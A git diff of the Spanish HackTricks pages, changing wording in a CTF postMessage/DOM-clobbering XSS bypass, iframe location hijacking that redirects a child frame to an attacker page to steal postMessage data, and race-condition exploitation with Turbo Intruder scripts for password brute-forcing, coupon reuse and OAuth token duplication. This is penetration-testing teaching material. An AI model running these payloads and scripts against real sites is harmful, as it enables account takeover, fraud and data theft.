* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,9 +2,9 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -14,7 +14,7 @@
## Iframes en SOP-2
En la [**solución**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) para este [**desafío**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) propone un método similar a la sección anterior. Veámoslo.
En la [**solución**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) para este [**desafío**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) propone un método similar al de la sección anterior. Veámoslo.
En este desafío, el atacante necesita **burlar** esto:
```javascript
@ -22,11 +22,11 @@ if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
Si lo hace, puede enviar un **postmessage** con contenido HTML que se va a escribir en la página con **`innerHTML`** sin saneamiento (**XSS**).
La forma de evitar la **primera verificación** es haciendo que **`window.calc.contentWindow`** sea **`undefined`** y **`e.source`** sea **`null`**:
La forma de evadir la **primera verificación** es haciendo que **`window.calc.contentWindow`** sea **`undefined`** y **`e.source`** sea **`null`**:
* **`window.calc.contentWindow`** es en realidad **`document.getElementById("calc")`**. Puedes sobrescribir **`document.getElementById`** con **`<img name=getElementById />`** (nota que la API de Sanitizer -[aquí](https://wicg.github.io/sanitizer-api/#dom-clobbering)- no está configurada para proteger contra ataques de sobrescritura de DOM en su estado predeterminado).
* Por lo tanto, puedes sobrescribir **`document.getElementById("calc")`** con **`<img name=getElementById /><div id=calc></div>`**. Entonces, **`window.calc`** será **`undefined`**.
* Ahora, necesitamos que **`e.source`** sea **`undefined`** o **`null`** (porque se usa `==` en lugar de `===`, **`null == undefined`** es **`True`**). Conseguir esto es "fácil". Si creas un **iframe** y **envías** un **postMessage** desde él e inmediatamente lo **eliminas**, **`e.origin`** será **`null`**. Revisa el siguiente código
- **`window.calc.contentWindow`** es en realidad **`document.getElementById("calc")`**. Puedes sobrescribir **`document.getElementById`** con **`<img name=getElementById />`** (nota que la API de Sanitizer -[aquí](https://wicg.github.io/sanitizer-api/#dom-clobbering)- no está configurada para proteger contra ataques de sobrescritura de DOM en su estado predeterminado).
- Por lo tanto, puedes sobrescribir **`document.getElementById("calc")`** con **`<img name=getElementById /><div id=calc></div>`**. Entonces, **`window.calc`** será **`undefined`**.
- Ahora, necesitamos que **`e.source`** sea **`undefined`** o **`null`** (porque se usa `==` en lugar de `===`, **`null == undefined`** es **`True`**). Conseguir esto es "fácil". Si creas un **iframe** y **envías** un **postMessage** desde él e inmediatamente lo **eliminas**, **`e.origin`** será **`null`**. Revisa el siguiente código:
```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
@ -78,12 +78,12 @@ setTimeout(start, 1000);
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@ -16,7 +16,7 @@
Según [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si puedes incluir un iframe de una página web sin encabezado X-Frame que contenga otro iframe, puedes **cambiar la ubicación de ese iframe secundario**.
Por ejemplo, si abc.com tiene efg.com como iframe y abc.com no tiene encabezado X-Frame, podría cambiar efg.com a evil.com en una ubicación cruzada usando **`frames.location`**.
Por ejemplo, si abc.com tiene efg.com como iframe y abc.com no tiene encabezado X-Frame, podría cambiar efg.com a evil.com en una ubicación cruzada usando, **`frames.location`**.
Esto es especialmente útil en **postMessages** porque si una página está enviando datos sensibles usando un **comodín** como `windowRef.postmessage("","*")`, es posible **cambiar la ubicación del iframe relacionado (secundario o principal) a una ubicación controlada por un atacante** y robar esos datos.
```html
@ -37,12 +37,12 @@ window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -7,14 +7,14 @@
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Consulta la siguiente página para ver cómo **burlar los WAFs abusando de las inconsistencias de los analizadores HTTP: [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)**
Consulta la siguiente página para ver cómo **burlar los WAF abusando de las inconsistencias de los analizadores HTTP: [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)**
<details>
@ -23,9 +23,9 @@ Consulta la siguiente página para ver cómo **burlar los WAFs abusando de las i
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -17,7 +17,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -35,36 +35,36 @@ Aquí puedes encontrar algunas técnicas para Sincronizar Solicitudes:
#### Ataque de un Solo Paquete HTTP/2 vs. Sincronización del Último Byte de HTTP/1.1
- **HTTP/2**: Permite enviar dos solicitudes sobre una única conexión TCP, reduciendo el impacto del jitter de red. Sin embargo, debido a variaciones en el lado del servidor, dos solicitudes pueden no ser suficientes para un exploit de condición de carrera consistente.
- **HTTP/1.1 'Sincronización del Último Byte'**: Permite el preenvío de la mayoría de las partes de 20-30 solicitudes, reteniendo un pequeño fragmento, que luego se envía juntas, logrando una llegada simultánea al servidor.
- **HTTP/1.1 'Sincronización del Último Byte'**: Permite el preenvío de la mayoría de las partes de 20-30 solicitudes, reteniendo un pequeño fragmento, que luego se envía juntos, logrando una llegada simultánea al servidor.
La **preparación para la Sincronización del Último Byte** implica:
La **Preparación para la Sincronización del Último Byte** implica:
1. Enviar encabezados y datos del cuerpo menos el byte final sin finalizar el flujo.
2. Pausar durante 100ms después del envío inicial.
3. Deshabilitar TCP_NODELAY para utilizar el algoritmo de Nagle para agrupar los marcos finales.
4. Hacer ping para calentar la conexión.
El posterior envío de los marcos retenidos debería resultar en su llegada en un solo paquete, verificable a través de Wireshark. Este método no se aplica a archivos estáticos, que normalmente no están involucrados en ataques de RC.
El posterior envío de marcos retenidos debería resultar en su llegada en un solo paquete, verificable a través de Wireshark. Este método no se aplica a archivos estáticos, que normalmente no están involucrados en ataques de RC.
### Adaptándose a la Arquitectura del Servidor
Entender la arquitectura del objetivo es crucial. Los servidores front-end pueden enrutar las solicitudes de manera diferente, afectando el tiempo. El calentamiento preventivo de la conexión del lado del servidor, a través de solicitudes inconsecuentes, podría normalizar el tiempo de solicitud.
Comprender la arquitectura del objetivo es crucial. Los servidores front-end pueden enrutar las solicitudes de manera diferente, afectando el tiempo. El calentamiento preventivo de la conexión en el lado del servidor, a través de solicitudes inconsecuentes, podría normalizar el tiempo de solicitud.
#### Manejo de Bloqueos Basados en Sesiones
Los frameworks como el manejador de sesiones de PHP serializan las solicitudes por sesión, ocultando potencialmente vulnerabilidades. Utilizar tokens de sesión diferentes para cada solicitud puede evitar este problema.
Los frameworks como el manejador de sesiones de PHP serializan las solicitudes por sesión, lo que potencialmente oculta vulnerabilidades. Utilizar tokens de sesión diferentes para cada solicitud puede evitar este problema.
#### Superar Límites de Tasa o Recursos
Si el calentamiento de la conexión no es efectivo, provocar intencionalmente retrasos en los límites de tasa o recursos de los servidores web a través de una inundación de solicitudes ficticias podría facilitar el ataque de un solo paquete al inducir un retraso del lado del servidor propicio para las condiciones de carrera.
Si el calentamiento de la conexión no es efectivo, provocar intencionalmente retrasos en los límites de tasa o recursos de los servidores web a través de una inundación de solicitudes ficticias podría facilitar el ataque de un solo paquete al inducir un retraso en el lado del servidor propicio para las condiciones de carrera.
## Ejemplos de Ataque
* **Tubo Intruder - Ataque de un solo paquete HTTP2 (1 punto final)**: Puedes enviar la solicitud a **Turbo Intruder** (`Extensiones` -> `Turbo Intruder` -> `Enviar a Turbo Intruder`), puedes cambiar en la solicitud el valor que deseas probar por fuerza bruta para **`%s`** como en `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` y luego seleccionar el **`ejemplos/race-single-packer-attack.py`** del menú desplegable:
* **Tubo Intruder - Ataque de un solo paquete HTTP2 (1 punto final)**: Puedes enviar la solicitud a **Turbo Intruder** (`Extensiones` -> `Turbo Intruder` -> `Enviar a Turbo Intruder`), puedes cambiar en la solicitud el valor que deseas probar por fuerza bruta para **`%s`** como en `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` y luego seleccionar **`examples/race-single-packer-attack.py`** del menú desplegable:
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si vas a **enviar valores diferentes**, podrías modificar el código con este que utiliza una lista de palabras del portapapeles:
Si vas a **enviar diferentes valores**, podrías modificar el código con este que utiliza una lista de palabras del portapapeles:
```python
passwords = wordlists.clipboard
for password in passwords:
@ -74,7 +74,7 @@ engine.queue(target.req, password, gate='race1')
Si la web no es compatible con HTTP2 (solo HTTP1.1), utiliza `Engine.THREADED` o `Engine.BURP` en lugar de `Engine.BURP2`.
{% endhint %}
* **Intrusión de Tubo - Ataque de un solo paquete HTTP2 (Varios endpoints)**: En caso de que necesites enviar una solicitud a 1 endpoint y luego múltiples a otros endpoints para activar la RCE, puedes modificar el script `race-single-packet-attack.py` con algo como:
* **Intrusión de Tubo - Ataque de un solo paquete HTTP2 (Varios endpoints)**: En caso de que necesites enviar una solicitud a 1 endpoint y luego múltiples a otros endpoints para desencadenar la RCE, puedes modificar el script `race-single-packet-attack.py` con algo como:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -115,10 +115,10 @@ engine.openGate(currentAttempt)
### BF en bruto
Antes de la investigación anterior, estos eran algunos payloads utilizados que simplemente intentaban enviar los paquetes lo más rápido posible para causar un RC.
Antes de la investigación anterior, estos eran algunos payloads utilizados que intentaban enviar los paquetes lo más rápido posible para causar un RC.
* **Repeater:** Consulta los ejemplos de la sección anterior.
* **Intruder**: Envía la **solicitud** a **Intruder**, establece el **número de hilos** en **30** dentro del menú de **Opciones** y selecciona como payload **Cargas útiles nulas** y genera **30.**
* **Intruder**: Envía la **solicitud** a **Intruder**, establece el **número de hilos** en **30** dentro del menú **Opciones y**, selecciona como payload **Cargas útiles nulas** y genera **30.**
* **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@ -166,50 +166,50 @@ print(results)
asyncio.run(main())
```
## Metodología de RC
## **Metodología de RC**
### Desbordamiento de límite / TOCTOU
### Límite de sobrepaso / TOCTOU
Este es el tipo más básico de condición de carrera donde **vulnerabilidades** que **aparecen** en lugares que **limitan la cantidad de veces que puedes realizar una acción**. Como usar el mismo código de descuento varias veces en una tienda web. Un ejemplo muy fácil se puede encontrar en [**este informe**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o en [**este bug**](https://hackerone.com/reports/759247)**.**
Existen muchas variaciones de este tipo de ataque, incluyendo:
- Canjear una tarjeta de regalo varias veces
- Calificar un producto varias veces
- Retirar o transferir efectivo en exceso de tu saldo de cuenta
- Reutilizar una solución CAPTCHA única
- Saltarse un límite de tasa anti-fuerza bruta
* Canjear una tarjeta de regalo varias veces
* Calificar un producto varias veces
* Retirar o transferir efectivo en exceso de tu saldo de cuenta
* Reutilizar una solución CAPTCHA única
* Saltarse un límite de velocidad anti-fuerza bruta
### **Subestados ocultos**
Explotar condiciones de carrera complejas a menudo implica aprovechar oportunidades breves para interactuar con subestados de máquina ocultos o **no intencionales**. Así es como se aborda esto:
1. **Identificar Subestados Ocultos Potenciales**
1. **Identificar posibles subestados ocultos**
- Comienza por señalar los puntos finales que modifican o interactúan con datos críticos, como perfiles de usuario o procesos de restablecimiento de contraseña. Enfócate en:
- **Almacenamiento**: Prefiere los puntos finales que manipulan datos persistentes en el servidor sobre aquellos que manejan datos en el lado del cliente.
- **Acción**: Busca operaciones que alteren datos existentes, las cuales son más propensas a crear condiciones explotables en comparación con aquellas que agregan nuevos datos.
- **Clave**: Los ataques exitosos generalmente involucran operaciones clave en el mismo identificador, por ejemplo, nombre de usuario o token de restablecimiento.
2. **Realizar Sondeos Iniciales**
2. **Realizar sondas iniciales**
- Prueba los puntos finales identificados con ataques de condición de carrera, observando cualquier desviación de los resultados esperados. Respuestas inesperadas o cambios en el comportamiento de la aplicación pueden indicar una vulnerabilidad.
3. **Demostrar la Vulnerabilidad**
- Reduce el ataque al número mínimo de solicitudes necesarias para explotar la vulnerabilidad, a menudo solo dos. Este paso podría requerir múltiples intentos o automatización debido a la sincronización precisa involucrada.
3. **Demostrar la vulnerabilidad**
- Reduce el ataque al número mínimo de solicitudes necesarias para explotar la vulnerabilidad, a menudo solo dos. Este paso puede requerir múltiples intentos o automatización debido al tiempo preciso involucrado.
### Ataques Sensibles al Tiempo
### Ataques sensibles al tiempo
La precisión en la sincronización de solicitudes puede revelar vulnerabilidades, especialmente cuando se utilizan métodos predecibles como marcas de tiempo para tokens de seguridad. Por ejemplo, generar tokens de restablecimiento de contraseña basados en marcas de tiempo podría permitir tokens idénticos para solicitudes simultáneas.
La precisión en el tiempo de las solicitudes puede revelar vulnerabilidades, especialmente cuando se utilizan métodos predecibles como marcas de tiempo para tokens de seguridad. Por ejemplo, generar tokens de restablecimiento de contraseña basados en marcas de tiempo podría permitir tokens idénticos para solicitudes simultáneas.
**Para Explotar:**
- Utiliza una sincronización precisa, como un ataque de un solo paquete, para realizar solicitudes de restablecimiento de contraseña concurrentes. Los tokens idénticos indican una vulnerabilidad.
**Para explotar:**
- Utiliza un tiempo preciso, como un ataque de un solo paquete, para realizar solicitudes de restablecimiento de contraseña concurrentes. Los tokens idénticos indican una vulnerabilidad.
**Ejemplo:**
- Solicita dos tokens de restablecimiento de contraseña al mismo tiempo y compáralos. Los tokens coincidentes sugieren una falla en la generación de tokens.
- Solicita dos tokens de restablecimiento de contraseña al mismo tiempo y compáralos. Los tokens coincidentes sugieren un fallo en la generación de tokens.
**Consulta este [Laboratorio de PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) para probar esto.**
## Estudios de caso de subestados ocultos
## Estudios de casos de subestados ocultos
### Pagar y agregar un artículo
@ -229,7 +229,7 @@ Según [**esta investigación**](https://portswigger.net/research/smashing-the-s
Si se utilizan **2 escrituras diferentes** para **agregar** **información** dentro de una **base de datos**, hay un pequeño período de tiempo donde **solo se ha escrito el primer dato** dentro de la base de datos. Por ejemplo, al crear un usuario, el **nombre de usuario** y la **contraseña** podrían ser **escritos** y luego el **token** para confirmar la cuenta recién creada se escribe. Esto significa que por un corto tiempo el **token para confirmar una cuenta es nulo**.
Por lo tanto, **registrarse en una cuenta y enviar varias solicitudes con un token vacío** (`token=` o `token[]=` u otra variación) para confirmar la cuenta de inmediato podría permitir **confirmar una cuenta** donde no controlas el correo electrónico.
Por lo tanto, **registrarse en una cuenta y enviar varias solicitudes con un token vacío** (`token=` o `token[]=` o cualquier otra variación) para confirmar la cuenta de inmediato podría permitir **confirmar una cuenta** donde no controlas el correo electrónico.
**Consulta este [Laboratorio de PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) para probar esto.**
@ -250,11 +250,11 @@ Así que, hasta aquí solo un inicio de sesión común con google/linkedin/githu
#### Condición de Carrera en `authorization_code`
El **problema** aparece cuando **lo aceptas** y automáticamente envía un **`authorization_code`** a la aplicación maliciosa. Luego, esta **aplicación abusa de una Condición de Carrera en el proveedor de servicios de OAuth para generar más de un AT/RT** (_Authentication Token/Refresh Token_) a partir del **`authorization_code`** para tu cuenta. Básicamente, abusará del hecho de que has aceptado que la aplicación acceda a tus datos para **crear varias cuentas**. Entonces, si **dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT se eliminará, pero los otros seguirán siendo válidos**.
El **problema** surge cuando **aceptas** y automáticamente se envía un **`authorization_code`** a la aplicación maliciosa. Luego, esta **aplicación abusa de una Condición de Carrera en el proveedor de servicios de OAuth para generar más de un AT/RT** (_Authentication Token/Refresh Token_) a partir del **`authorization_code`** para tu cuenta. Básicamente, abusará del hecho de que has aceptado que la aplicación acceda a tus datos para **crear varias cuentas**. Entonces, si **dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT se eliminará, pero los otros seguirán siendo válidos**.
#### Condición de Carrera en `Refresh Token`
Una vez que has **obtenido un RT válido** podrías intentar **abusar de él para generar varios AT/RT** e **incluso si el usuario cancela los permisos** para que la aplicación maliciosa acceda a sus datos, **varios RT seguirán siendo válidos**.
Una vez que has **obtenido un RT válido** podrías intentar **abusar de él para generar varios AT/RT** e incluso si el usuario cancela los permisos para que la aplicación maliciosa acceda a sus datos, **varios RT seguirán siendo válidos**.
## **CC en WebSockets**
@ -274,10 +274,10 @@ En [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
